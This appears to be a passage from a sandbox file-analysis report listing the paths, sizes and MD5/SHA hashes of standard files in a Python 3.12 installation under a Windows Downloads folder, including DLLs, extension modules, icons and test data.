C:\Users\Admin\Downloads\Python\Python312\DLLs\_testclinic.pyd

Filesize
64KB

MD5
1f08f97422a906170a803f40fe7da3ee

SHA1
f80031d66f32db04e9698201c796521145bb1241

SHA256
64ae141a640c2a39c11c28aafe0a2432f26d0f56b8177f1f070b3da3797f11d9

SHA512
e7e48e2b112f4b440c28d750eb4430ba6c5f456e4732767953ea1384a16bce35b1bc58d7a15a789cddd02f46dd989e4aa4f8d32bb7e3bc49f2e453987cc54017

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_testconsole.pyd

Filesize
26KB

MD5
598c1e1574a03bbb6781f68a9e741ab9

SHA1
5a51e31c58729cc3648b620e488cf08ba3fad0fe

SHA256
3562be23f901115e00486dc09b467e7e6ae31d7db0a3c9ae17019f76b92f8246

SHA512
2c95f71bb9d6ed5a6287efd1efe8f921e82fd87f7dfc685e4eb6eb23b909d2228f25862e1b77ee127e210eb5397afe506389f9b6babea6cf4a11021b5e2d0404

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_testimportmultiple.pyd

Filesize
24KB

MD5
c3ecaf0172508e20330d9754a046ab90

SHA1
383d7ae27f97d34f333b1d8053aec3c30c7418e5

SHA256
d6c24d7d5c1d0885de58116a5578d4af6114cd821d1189ef82078a56315e5c8f

SHA512
e20275e59fb1c4e3b2db8f8b80cae9f2d41d2bc807580d10af5b442d46105345a6c0f0f05a6c490f447e58937055698ed251fe752885aa02f0e17016be135ba4

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_testinternalcapi.pyd

Filesize
48KB

MD5
061e1a66e8126b876d74382647050e98

SHA1
5c87523567f9457d4fbfadeb7e9eae88976ba589

SHA256
a9bdca1f485b71f1b73ee92a370b9e21d9d01a2ed4d22c5a7a9d2bd43d8843f0

SHA512
77fa41723f485b01d9cdd9bfa0942a3171697d396b5b271503f218e1d694d4cd711e5a2dcb056fd62ccd1fe146495cf97703c92d4d9a2177eef4ad4eaac713f9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_testmultiphase.pyd

Filesize
37KB

MD5
0003a36a8a351d5657ef50c246050e2e

SHA1
c9ad244bcacc2543a6af4ae2d42c317e94be01fd

SHA256
e4feab86e5372f5229e2d63e6bf4f8680a8cfe2838fedadb12532771d22f76ec

SHA512
6a67a2d6413efb0f2ad2ef3848cef89ae135692385828029dc60fd04982ae7380c1ac64fe3ca7f2e5b954f1a2ed021ac2240c853b2e69b327adbc210a4e097d8

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_testsinglephase.pyd

Filesize
29KB

MD5
03ad88c5004e88df8fddad701cdc8fbe

SHA1
ff6bab467d4c049a07fd16d133de3f5b3f1fec62

SHA256
0f57a746f74c0df12d30239481c210d28aeb1e85ade96cec6b797501157e0998

SHA512
38c2e15d24aca5d0078fd63a6f920963287bf1fef41b7eb7cc3a8dc7236340b62ace0fc990e30a8d8cd4970e6177d222353add164eb9f187a24615055d84d2ac

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_tkinter.pyd

Filesize
62KB

MD5
1df0201667b4718637318dbcdc74a574

SHA1
fd44a9b3c525beffbca62c6abe4ba581b9233db2

SHA256
70439ee9a05583d1c4575dce3343b2a1884700d9e0264c3ada9701829483a076

SHA512
530431e880f2bc193fae53b6c051bc5f62be08d8ca9294f47f18bb3390dcc0914e8e53d953eee2fcf8e1efbe17d98eb60b3583bccc7e3da5e21ca4dc45adfaf4

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_uuid.pyd

Filesize
24KB

MD5
353e11301ea38261e6b1cb261a81e0fe

SHA1
607c5ebe67e29eabc61978fb52e4ec23b9a3348e

SHA256
d132f754471bd8a6f6d7816453c2e542f250a4d8089b657392fe61a500ae7899

SHA512
fa990b3e9619d59ae3ad0aeffca7a3513ab143bfd0ac9277e711519010f7c453258a4b041be86a275f3c365e980fc857c23563f3b393d1e3a223973a673e88c5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_wmi.pyd

Filesize
35KB

MD5
7ec3fc12c75268972078b1c50c133e9b

SHA1
73f9cf237fe773178a997ad8ec6cd3ac0757c71e

SHA256
1a105311a5ed88a31472b141b4b6daa388a1cd359fe705d9a7a4aba793c5749f

SHA512
441f18e8ce07498bc65575e1ae86c1636e1ceb126af937e2547710131376be7b4cb0792403409a81b5c6d897b239f26ec9f36388069e324249778a052746795e

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_zoneinfo.pyd

Filesize
46KB

MD5
60432d8a7eb836cc7919789cdf77ec98

SHA1
b8465817e28f53cb1706f49d86a86d91376cad10

SHA256
edb5fec1b18c7b657db1a20666896b51fc2d779ae315427ed920ba493038d327

SHA512
7d3901b9878c93b881dc925fbcd88ce7308356c38e657f3b47e10e046b4473d16c03dba8b7ef7f93c2b9c12c044609a073b4bdfa93257972e10a1de216dc305f

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\libcrypto-3.dll

Filesize
5.0MB

MD5
e547cf6d296a88f5b1c352c116df7c0c

SHA1
cafa14e0367f7c13ad140fd556f10f320a039783

SHA256
05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de

SHA512
9f42edf04c7af350a00fa4fdf92b8e2e6f47ab9d2d41491985b20cd0adde4f694253399f6a88f4bdd765c4f49792f25fb01e84ec03fd5d0be8bb61773d77d74d

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\libffi-8.dll

Filesize
38KB

MD5
0f8e4992ca92baaf54cc0b43aaccce21

SHA1
c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

SHA256
eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

SHA512
6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\libssl-3.dll

Filesize
768KB

MD5
19a2aba25456181d5fb572d88ac0e73e

SHA1
656ca8cdfc9c3a6379536e2027e93408851483db

SHA256
2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006

SHA512
df17dc8a882363a6c5a1b78ba3cf448437d1118ccc4a6275cc7681551b13c1a4e0f94e30ffb94c3530b688b62bff1c03e57c2c185a7df2bf3e5737a06e114337

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\py.ico

Filesize
74KB

MD5
b35f68a3086562c4d5453faad5a3474e

SHA1
673904ff9b305a6600e47ad715289122ec0b046a

SHA256
150c470f9943b806b44312efdec85755f22f8d7d52b31f93a9af3c43e8627381

SHA512
6ec80921942b3bd3c85ef24a2de5454a34a3ad11a1bc69b601aea7b873e318073c0b2d78c26685999f78ec64a86282c08c53ab8d77e41c661ae968ea52c08176

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\pyc.ico

Filesize
76KB

MD5
b1c9980131a3f20e344aa3aa2c8dea49

SHA1
0fe02f0ed5e56bbe7e4e98b1dca061ed17fbf5c7

SHA256
fda28a734788a3f175cb6aed4daeb5f05f0e49f6a272ccd2051ba337f7b3b42f

SHA512
84ca107ace44fa1964c6c1ea93fc767bde88363339fc426a3d660da53c84bade14f1fae99c494483bf2b5312938d84b0c1733c85e82592b8ffe8a28f76186a3a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\pyd.ico

Filesize
81KB

MD5
1a8230030d821cf8ea57ce03aaead737

SHA1
12656788b1fbe4d2375ecc2989a4d9da69caa0d6

SHA256
c4ec1845a5724b2a83500f3bd940355e2fe26efc6b4fe6c208365359a6130da1

SHA512
af6356dc67249e724ae30f65ddefb4e53c6f2703da32fd5f135598bbd6189bee70950242f52985478de99979d1271eec9f4e2981a29a9bc02c673e9b668fd0c1

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\pyexpat.pyd

Filesize
196KB

MD5
5e911ca0010d5c9dce50c58b703e0d80

SHA1
89be290bebab337417c41bab06f43effb4799671

SHA256
4779e19ee0f4f0be953805efa1174e127f6e91ad023bd33ac7127fef35e9087b

SHA512
e3f1db80748333f08f79f735a457246e015c10b353e1a52abe91ed9a69f7de5efa5f78a2ed209e97b16813cb74a87f8f0c63a5f44c8b59583851922f54a48cf5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\python_lib.cat

Filesize
122KB

MD5
7e0751762ae08566f876556cc2b92c7e

SHA1
9fec1fe8a03c2d5a8d911479ef6c3921189cb051

SHA256
1b7cb35ead7ace3d87970e01f4d98be2219cd558e4cf63b1c3f15cea709f6ab0

SHA512
72af8fdb16edd846ee67e1ff421e95c3335be2dc2ec475da586120b670e105ee9a43eb4666fe7837147c5a17b76c5dc55bc9b012a31c3d4991875b6c29b76cf2

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\select.pyd

Filesize
29KB

MD5
92b440ca45447ec33e884752e4c65b07

SHA1
5477e21bb511cc33c988140521a4f8c11a427bcc

SHA256
680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3

SHA512
40e60e1d1445592c5e8eb352a4052db28b1739a29e16b884b0ba15917b058e66196988214ce473ba158704837b101a13195d5e48cb1dc2f07262dfecfe8d8191

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\sqlite3.dll

Filesize
1.5MB

MD5
612fc8a817c5faa9cb5e89b0d4096216

SHA1
c8189cbb846f9a77f1ae67f3bd6b71b6363b9562

SHA256
7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49

SHA512
8a4a751af7611651d8d48a894c0d67eb67d5c22557ba4ddd298909dd4fb05f5d010fe785019af06e6ca2e406753342c54668e9c4e976baf758ee952834f8a237

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\tcl86t.dll

Filesize
1.7MB

MD5
21dc82dd9cc445f92e0172d961162222

SHA1
73bc20b509e1545b16324480d9620ae25364ebf1

SHA256
c2966941f116fab99f48ab9617196b43a5ee2fd94a8c70761bda56cb334daa03

SHA512
3051a9d723fb7fc11f228e9f27bd2644ac5a0a95e7992d60c757240577b92fc31fa373987b338e6bc5707317d20089df4b48d1b188225ff370ad2a68d5ff7ba6

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\tk86t.dll

Filesize
1.5MB

MD5
9fb68a0252e2b6cd99fd0cb6708c1606

SHA1
60ab372e8473fad0f03801b6719bf5cccfc2592e

SHA256
c6ffe2238134478d8cb1c695d57e794516f3790e211ff519f551e335230de7de

SHA512
f5de1b1a9dc2d71ae27dfaa7b01e079e4970319b6424b44c47f86360faf0b976ed49dab6ee9f811e766a2684b647711e567cbaa6660f53ba82d724441c4ddd06

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\unicodedata.pyd

Filesize
1.1MB

MD5
16be9a6f941f1a2cb6b5fca766309b2c

SHA1
17b23ae0e6a11d5b8159c748073e36a936f3316a

SHA256
10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04

SHA512
64b7ecc58ae7cf128f03a0d5d5428aaa0d4ad4ae7e7d19be0ea819bbbf99503836bfe4946df8ee3ab8a92331fdd002ab9a9de5146af3e86fef789ce46810796b

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\winsound.pyd

Filesize
29KB

MD5
f4efde2ca920a52135b00bf8f0545a87

SHA1
352e5ea2419ba876fb80e0d0d1e5dd12272a33e4

SHA256
9885b3d18903a2ef27428c7c9760493111cc97330ff0afcb57199964092e86bf

SHA512
f098af2851be213f83d19c0aa0ca82ded7bc41f51793502b9bed32d185b73b9cc8a9b29e25b3c5847b237aa466b14088e577f05b6bd03046aa65edb25c087e8d

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Doc\html\NEWS

Filesize
1.6MB

MD5
3a2f081757c87fe3f9745f2e857755fa

SHA1
0d49e71b9e0ffaa4f4dc8dcb45a95baa664038e7

SHA256
a15b65d338884ef6b8b99ea300405a293dfec362610e79b8d19755112624210e

SHA512
21f9968546c590d9f8a87333345f6086725905ba2724e5ca5f8f8e1165c20703906fda8e1d0bf59517abe8b166b80f47380e70bb535713a1e7e313b673f21fbd

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__phello__\__init__.py

Filesize
104B

MD5
d577c4cfec75304f5f339da0e128db83

SHA1
9542419ca9315d30602f4fe9c9c95d0a2f72bc4f

SHA256
b9ba5f17a049779747dbc8b17fa318fab67875be829994ed437c81d0666a88dc

SHA512
84720ac8d037b6fd51b08f63019f17f1b212069d3bf53c18fecaff4c8fac0c6bce4f73617a7c63fa9a8fd2ba32ba56c11c0a88484aa5e113f33ca768d6ef7bfe

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\concurrent\__init__.py

Filesize
39B

MD5
f8259102dfc36d919a899cdb8fde48ce

SHA1
4510c766809835dab814c25c2223009eb33e633a

SHA256
52069aeefb58dad898781d8bde183ffda18faae11f17ace8ce83368cab863fb1

SHA512
a77c8a67c95d49e353f903e3bd394e343c0dfa633dcffbfd7c1b34d5e1bdfb9a372ece71360812e44c5c5badfa0fc81387a6f65f96616d6307083c2b3bb0213f

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\lib2to3\fixes\__init__.py

Filesize
48B

MD5
3d02598f327c3159a8be45fd28daac9b

SHA1
78bd4ccb31f7984b68a96a9f2d0d78c27857b091

SHA256
b36ae7da13e8cafa693b64b57c6afc4511da2f9bbc10d0ac03667fca0f288214

SHA512
c59c5b77a0cf85bb9fbf46f9541c399a9f739f84828c311ced6e270854ecce86d266e4c8d5aa07897b48ce995c3da29fea994e8cd017d48e5a4fab7a6b65e903

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\site-packages\pip-24.0.dist-info\INSTALLER

Filesize
4B

MD5
365c9bfeb7d89244f2ce01c1de44cb85

SHA1
d7a03141d5d6b1e88b6b59ef08b6681df212c599

SHA256
ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508

SHA512
d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\audiotest.au

Filesize
27KB

MD5
2d3d86aedec6b204f70cee1e483d3e14

SHA1
0bb29f5835dbf25b09e98271205a5b0e3b499ac3

SHA256
bb24009573f88b990c922fdc65adddec1312e30373dc635c6099912d4f836a41

SHA512
4981b870b89ab02309d9b5a4acdadd1f145baaacb5f23d0575ba2c62f10bbfe2343c1178456270ad5d9f22f9528e846928d014c14146ec100b8bfeb07cb3f29a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\certdata\capath\4e1295a3.0

Filesize
828B

MD5
73e784827cc9c81f8ca3fbd372984afd

SHA1
d1553f1e3c103bb429e3af0c2211414fc1d16d4b

SHA256
11772d99be4b8d343c1299eb2f332f0612c290643543708d860bf81c25cfb5c9

SHA512
f8a52854ccdbe535be524aa67a9ba7d793244ba431b2a73cd39b8e5fb925fb09347bdd5333716e44a02e2b814d0f15156992ecc0a1bbb1c89c6e1d5ec18990b3

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\certdata\capath\5ed36f99.0

Filesize
2KB

MD5
3fe5f823824bedd9fe3176e58db69fa4

SHA1
807cc9ffa5fe60115bf9df8a086f5cb1199b0a19

SHA256
9c6a82a2d3c4c374fcc2e78d3eda445ebce74d3a7a4d84fc447739df91cb1f0c

SHA512
03f0684a8ad2545add75637562655dfa3c89d06159d607df6e2efac2c446a95bd9cb0437f1c195a75b2e438d7e7812f4f85fbf136e45402947298a1e3fb3506a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\certdata\capath\b1930218.0

Filesize
1KB

MD5
6688a112dc263017affbadeb4b4e4fb4

SHA1
4567ed723977e15d26da815c51046db208c068a0

SHA256
5d35cb81810204013d7fffeb0d01092f9243f994aabfebd017a1d3c217b15693

SHA512
90e5f78f3cd4a0c97331cf66eb4a94115f3cad878eb351d05bc6a8f38dfd8bf18b9a62d5b953d3d4fc36f240db85656e5070bea807967961c365f5ff4ccd6a82

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\cjkencodings\cp949-utf8.txt

Filesize
478B

MD5
4ad57dc71cd0710481e757484c6d1197

SHA1
44cffb5117f62e0697f27f9d2537de3108749df4

SHA256
175e984c0c7bd073f037b0aaa6df4d8aadacb6f1b8898484a567b5e70f5a5837

SHA512
4a2f934f6f907cd2b3c70e3614684460f253e29ce554a418cdc53555feb26252607283d4d5c27221cc8205d002febf4c73b49d5ac0c6b7376e5dade72e9fc9ee

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\cjkencodings\euc_jisx0213-utf8.txt

Filesize
1KB

MD5
856e0cebae566258f572e27aedcbf34d

SHA1
9c4e3bafcc4a0c146d4bf21dd126484bb454e789

SHA256
21cb011018b58c87f2c824e08085d24f9379244bcde6fbb6b46da2f6431540c7

SHA512
21e996c6470367d7a74e6cf96b0105ddd93fda0c20fa4053842c3504f582c83688caf04fb64f7fa0e28378d894d29a7b1a39b8bfa7869f710fcc804a6231b3b8

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\cjkencodings\shift_jis-utf8.txt

Filesize
1KB

MD5
cc34bcc252d8014250b2fbc0a7880ead

SHA1
89a79425e089c311137adcdcf0a11dfa9d8a4e58

SHA256
a6bbfb8ecb911d13581f7713391f8c0ceea1edd41537fdb300bbb4d62dd72e9b

SHA512
c6fb4a793870993a9f1310ce59697397e5334dbb92031ab49a3ecc33c55e84737e626e815754c5ddbe7835b15d3817bf07d2b4c80ea5fd956792b4db96c18c2f

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.bmp

Filesize
1KB

MD5
e3a1f317b1a275e5d5f1b4b0ff04ee01

SHA1
8f37f2c3b3c5b5fd2da41ddcc59ad1b6c29b9bf0

SHA256
410c26b109ce9d32d35c0e4bc6dc92a7579910ce706939a056323de5801a7a87

SHA512
31e83c2bdbd86b038ba0e8ebf02947ddaef002033c760e16ea868c7a673257686d89e328017cbbc8915d31f62fb5149aa0569437525dff8325dd4a8499d718b7

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.exr

Filesize
2KB

MD5
30ffa52a5a358b289c249e1e2d2fa666

SHA1
d07051ed146c1910dbe5d0de8a08d86031390edb

SHA256
abcfa16526dd3d1f31954f88813928de507f4bf2911f30d08ff756d8b46baee5

SHA512
9ffbef0197305e9f1df486af25b743ae0ae5cdc7e198ce8bd45f62e87acbbc4c431fd9944f7dd04103461df392a22c1df43a0e49644adeff2822c1e43b71a43c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.gif

Filesize
405B

MD5
bb6db723ceadf8ce03d5ad234f9d7273

SHA1
46537a3e2b3764d35e4bff0c951fa87adc17fb83

SHA256
4fce1d82a5a062eaff3ba90478641f671ce5da6f6ba7bdf49029df9eefca2f87

SHA512
bd07b17fb373bea74b9af28e504c6d66c897978e071404e7d04a7bc1a0843e0d7ca5689fc7215e15a9721757889bc75ed920ca72f17810922ae99d62c65c831c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.jpg

Filesize
543B

MD5
50e9104383c3f36fa9e9be6148e6fdf3

SHA1
9b19331a00f83f12fdc2feba2eb401f9732f8d44

SHA256
0171178ae901e108f56305aff7e36268a690bc49933a24b1aaa587fda00f4d3b

SHA512
c6c940a0e60c1d5c75398592f61da3c874e3bc2b5b7ff328d83de8c8352a4e1e3959954e67049a5c3d6a609af97e39d0e0d16b5a4463328bbc436b8e2926e5d0

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.pbm

Filesize
41B

MD5
4128214992ffcd16a57fd47c73558b58

SHA1
d8a65c33c1df14930651e1b34b9349b6b179205a

SHA256
7151dc8ebdca81804c959266b14122bf74e62cab773dd8e2f37b379aac105266

SHA512
1c2a56f82742d9f0d8976183ca130454d6e472524a12eb38c4106eaa5bffdb3bf7de3eb31908fea096fb6017c87dd82097bbbd1b17c0ae484ee52a0e192b9590

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.pgm

Filesize
269B

MD5
18ceaa0a28ec83628b429486f6a6a437

SHA1
1c1c30720dd823863542845395c5a4699a19a060

SHA256
3c27b4cdc7089ddb410ddb81a5ccf42662972e07dfc44fc429d3056af6dd128e

SHA512
1e904378aa240af975fd6ce75b7bf8366105972f257457d317f1ea2e40cab7d1d52ddd95e9d020f50ee5ab298b3b6a0f73f43270155b33ad5bed6d358bac9262

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.png

Filesize
1020B

MD5
91f80d44b0a786e5b0b3049ad61159fa

SHA1
e2fa9ade66052b6c706dec73bae2b44969232ad6

SHA256
480ac039362a15a7738ba76dffe807fd03fa29f7edaa8eb21ca0057c44a1ee8c

SHA512
c73fc0baebc8974e4ad152c81a784aa8ac434d387040c19d75d1cb9e8417e89b6af07b01b88004f9ced6c1feaf8994a04ee926769ee01757932f25b0a834ac30

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.ppm

Filesize
781B

MD5
a2b32811bb48fbf84e6a4ffa90b6a81c

SHA1
df8515c83469e5f728331f20eb6264953fbc40c7

SHA256
a7f21a2c5226b7d35ccac23780ae535921353b54bf7d7e61f1ad9b021167ba6c

SHA512
a49d7738997b62be088a09cdcf86d9e1fa12dd531c1a880eb519664daf87be581777843a02f15b35d731d1e0f58077ee5630235c71e2a11cebeb337b6528e0a9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.ras

Filesize
1KB

MD5
8c0f739219341ffae245b5ae0a63710f

SHA1
ee63733bbfac51ed6c2ed2dab2a250faf25f36af

SHA256
10e37c432b4b93a7d257fbb890636fa7f6f376321cca47d5919ea5b6adc75d38

SHA512
5c4db61b091375d87001a600c282285f0e66fcdd4e99c5bbe03a8e7ec0b898abae777454491e7d9f9da5fe9bd56b6e5d5d5e0c8e142f629780fb3a399b3f4add

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.sgi

Filesize
1KB

MD5
11e019f5073be9f31a95f34929fec4e2

SHA1
baa350987e3f3b936db33abc6ddfae0762d4c449

SHA256
58ba5f2c20d320c3f5390ff9778e03d341957bd37c5d3cf0c3327976979f2e01

SHA512
c9b006d3c76358aabf2636f73cdb1d6d56e8f09d4a9817fb80386cd71228e8c93f570f00798870a9ebcc15aae625923c7405fc6827928579f4f44a661e9ef6b7

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.tiff

Filesize
1KB

MD5
d8580e24bfb05ec687436beb33838368

SHA1
99eefffec67780cc34ce21ea7c5b5b3073719011

SHA256
f19a80d1c7d5d758dcea82276e73150454212a5136b19c5fc2727786132ddafd

SHA512
de4c92d0a4f9747b13e9f0c2c1d88e8d8d2151cbe693651e248b72cee43bacf13f0968db9a6d8f2abb2a1c74b4fb5ebc0358651586d4e66da3dc02e63e5afc7c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.webp

Filesize
432B

MD5
d4d9cee903091f613295efe4b5935689

SHA1
152fb2d413cee0e7c560351c904c2b1a1bb2380a

SHA256
d87f8d1367c93897805ee274c0e53ddbb0a46525aadb7dd32756fb85ad74e8b0

SHA512
67032fb0cce8001db79462bbe9653db4a80605b72077aaee9a2db85c0af6a223d2f452185112420afdf5922358aa07eda410c791efcf247201354816fb014011

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\imghdrdata\python.xbm

Filesize
288B

MD5
e6d79a573ec495b479a2c6e4f77f134b

SHA1
06f1b0de642132260c8067744cd6dd119c1a5ed2

SHA256
e7ff41947d7400cbe040e622d9ba92c40127355ffd96f182a54b8a80118e7c0b

SHA512
604179f7be08029ade027b2883983d8b524c0db9713a0646e007f608765db3d58c14e9be74c43e494b5462cca5c47494c06943ef04e82c129d1acad293c66e6b

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\sndhdrdata\sndhdr.aifc

Filesize
106B

MD5
a8a96fc714afadc15f870716186876f4

SHA1
21586b8440f26424f1b8ab66c338664f010c3cb7

SHA256
884528c663a2c5bc5977c54655699389e6d31420d0e79ac6fccac835ee0b167e

SHA512
ec64e6cca3f45438087c6e4c02a16218b17bd5c38e48c68d30c42d334607c8eaa188263eae56bb452244673d3bac75632f625b22f1862bf7e2b0a2585b17dc2a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\sndhdrdata\sndhdr.aiff

Filesize
108B

MD5
3d4d023133dc4e66488dd5fd8d972124

SHA1
f93f56d42e08ad7e80b6fbe7aa1c76b8b994de3f

SHA256
3636198f2e61362121c9f7adfbde802883c99e6b23977e4e0bbbbd042b307421

SHA512
9e1dd8887ac56417cc516d0ba680749b351ae7b12770e188b56deedf4971586df81d7825a48afaa47554b4bd8edf427beacdf81336959c58ad6f13d4ea5b37a1

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\sndhdrdata\sndhdr.wav

Filesize
64B

MD5
eb0b6503152295540c09094b1d64a6a3

SHA1
d82d8deb9f0c69515fdaec06bcb9345472bbd94c

SHA256
54e018785efc750bbbafe910f4b4e4240995b5a2143a4341dc5c1bb73151c1d8

SHA512
1b3edf97c8f6cc247c532ff7640c660c73bbcd4ff769c21fa7dd550fcb799a304b5aabe6a6b73ac878f7e11570651a264c3c31ca3a3f81cbe19fcef5c4f61140

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_import\data\circular_imports\subpkg\util.py

Filesize
23B

MD5
26de9aa26f4f0b109363b91eb9f8bb97

SHA1
f86b316ac1901528bb35fe725cf08b8017a93cdc

SHA256
0a00579f58936a271c5a5e903d2d4f26bfa11347f83222f217263bf2ecfd546c

SHA512
c6d1cccec9cc49cad8f16fe1795adba660beacdff157daa175bcc96da4eb92afba294ffc32fe3dae87ff6399c0a98a3475040f5aa92db8129b94d0d05d516e5e

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\__init__.py

Filesize
147B

MD5
c3239b95575b0ad63408b8e633f9334d

SHA1
7dbb42dfa3ca934fb86b8e0e2268b6b793cbccdc

SHA256
6546a8ef1019da695edeca7c68103a1a8e746d88b89faf7d5297a60753fd1225

SHA512
5685131ad55f43ab73afccbef69652d03bb64e6135beb476bc987f316afe0198157507203b9846728bc7ea25bc88f040e7d2cb557c9480bac72f519d6ba90b25

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\builtin\__main__.py

Filesize
62B

MD5
47878c074f37661118db4f3525b2b6cb

SHA1
9671e2ef6e3d9fa96e7450bcee03300f8d395533

SHA256
b4dc0b48d375647bcfab52d235abf7968daf57b6bbdf325766f31ce7752d7216

SHA512
13c626ada191848c31321c74eb7f0f1fde5445a82d34282d69e2b086ba6b539d8632c82bba61ff52185f75fec2514dad66139309835e53f5b09a3c5a2ebecff5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\namespace_pkgs\not_a_namespace_pkg\foo\one.py

Filesize
27B

MD5
002c0c3dd72075ea93c1f9f17bc55009

SHA1
c8b6fb242803e9b5cdb675455f6bc8d585d04d0e

SHA256
8f083d9f27afa6518d7b058bb322d3e79c0becf9f38a96334ad7a3cc4b3483fa

SHA512
1598b79a6357932b08b3ab8d6b6af424a697d7770b71984808f9d2375bb64ef68e31f23106d8b4dcb4d70cbb814497298cb6133c67eae83035b561848110c20d

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\resources\data01\utf-16.file

Filesize
44B

MD5
ff6357f0940465f479305cbe0ba8f78f

SHA1
3bf88b182117dce769d0cb03fb14ab771f827649

SHA256
b79abdaa1c57d2b62a22d04e33c0f7ca5c06f911eb9ce62d7932ed42beac17b8

SHA512
11989f26c71c2879e0083fb436286238f50069ea3c7771c5b25b278e589ad4262a12f580a8c082fea291f0264f1ac212a169ea4ec5b44b1232070cc9797a0307

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\resources\data01\utf-8.file

Filesize
20B

MD5
58da4ec0dd953291e42b4a78598913da

SHA1
7e13931923104bda5ae0fe40db20d0aaf51610f9

SHA256
9305a0606e3243e645d97fd603ae848d83e6c49467fb0f1a48e892f5ef2d2986

SHA512
039c0ad2c558a7d3a5d26e5e2872833c84d837947851085989c44ef5c5c17f4381197284e19b2c96767a2646ed23ab360c6a2ad533b79f078e744655ce4c5ccd

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\resources\namespacedata01\binary.file

Filesize
4B

MD5
37b59afd592725f9305e484a5d7f5168

SHA1
a02a05b025b928c039cf1ae7e8ee04e7c190c0db

SHA256
054edec1d0211f624fed0cbca9d4f9400b0e491c43742af2c5b0abebf0c990d8

SHA512
4ec54b09e2b209ddb9a678522bb451740c513f488cb27a0883630718571745141920036aebdb78c0b4cd783a4a6eecc937a40c6104e427512d709a634b412f60

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_pydoc\__init__.py

Filesize
138B

MD5
4a7dba3770fec2986287b3c790e6ae46

SHA1
8c7a8f21c1bcdb542f4ce798ba7e97f61bee0ea0

SHA256
88db4157a69ee31f959dccbb6fbad3891ba32ad2467fe24858e36c6daccdba4d

SHA512
